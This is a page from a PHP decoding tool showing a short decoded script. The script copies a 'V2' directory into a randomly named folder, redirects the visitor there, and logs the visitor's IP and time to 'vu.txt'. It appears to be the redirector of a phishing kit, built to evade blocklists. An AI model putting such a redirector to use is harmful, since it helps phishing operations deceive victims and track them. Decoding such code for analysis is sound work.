Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $random=rand(0,100000000000); $md5=md5($random); $base=base64_encode($md5); ..

Decoded Output download

<?php 
	$random=rand(0,100000000000); 
	$md5=md5($random); 
	$base=base64_encode($md5); 
	$dst=md5($base) . $base; 
	function recurse_copy($src,$dst) { 
	$dir = opendir($src); 
	@mkdir($dst); 
	while(false !== ( $file = readdir($dir)) ) { 
	if (( $file != '.' ) && ( $file != '..' )) { 
	if ( is_dir($src . '/' . $file) ) { 
	recurse_copy($src . '/' . $file,$dst . '/' . $file); 
	} 
	else { 
	copy($src . '/' . $file,$dst . '/' . $file); 
	} 
	} 
	} 
	closedir($dir); 
	} 
$src="V2"; 
recurse_copy( $src, $dst ); 
header("location:$dst"); 
$ip = getenv("REMOTE_ADDR"); 
$file = fopen("vu.txt","a"); 
fwrite($file,$ip."  -  ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."
"); 
?> 

Did this file decode correctly?

Original Code

<?php
	$random=rand(0,100000000000);
	$md5=md5($random);
	$base=base64_encode($md5);
	$dst=md5($base) . $base;
	function recurse_copy($src,$dst) {
	$dir = opendir($src);
	@mkdir($dst);
	while(false !== ( $file = readdir($dir)) ) {
	if (( $file != '.' ) && ( $file != '..' )) {
	if ( is_dir($src . '/' . $file) ) {
	recurse_copy($src . '/' . $file,$dst . '/' . $file);
	}
	else {
	copy($src . '/' . $file,$dst . '/' . $file);
	}
	}
	}
	closedir($dir);
	}
$src="V2";
recurse_copy( $src, $dst );
header("location:$dst");
$ip = getenv("REMOTE_ADDR");
$file = fopen("vu.txt","a");
fwrite($file,$ip."  -  ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n");
?>

Function Calls

rand 1

Variables

None

Stats

MD5 2a0f8394f3055dce4db0961ab6ace875
Eval Count 0
Decode Time 77 ms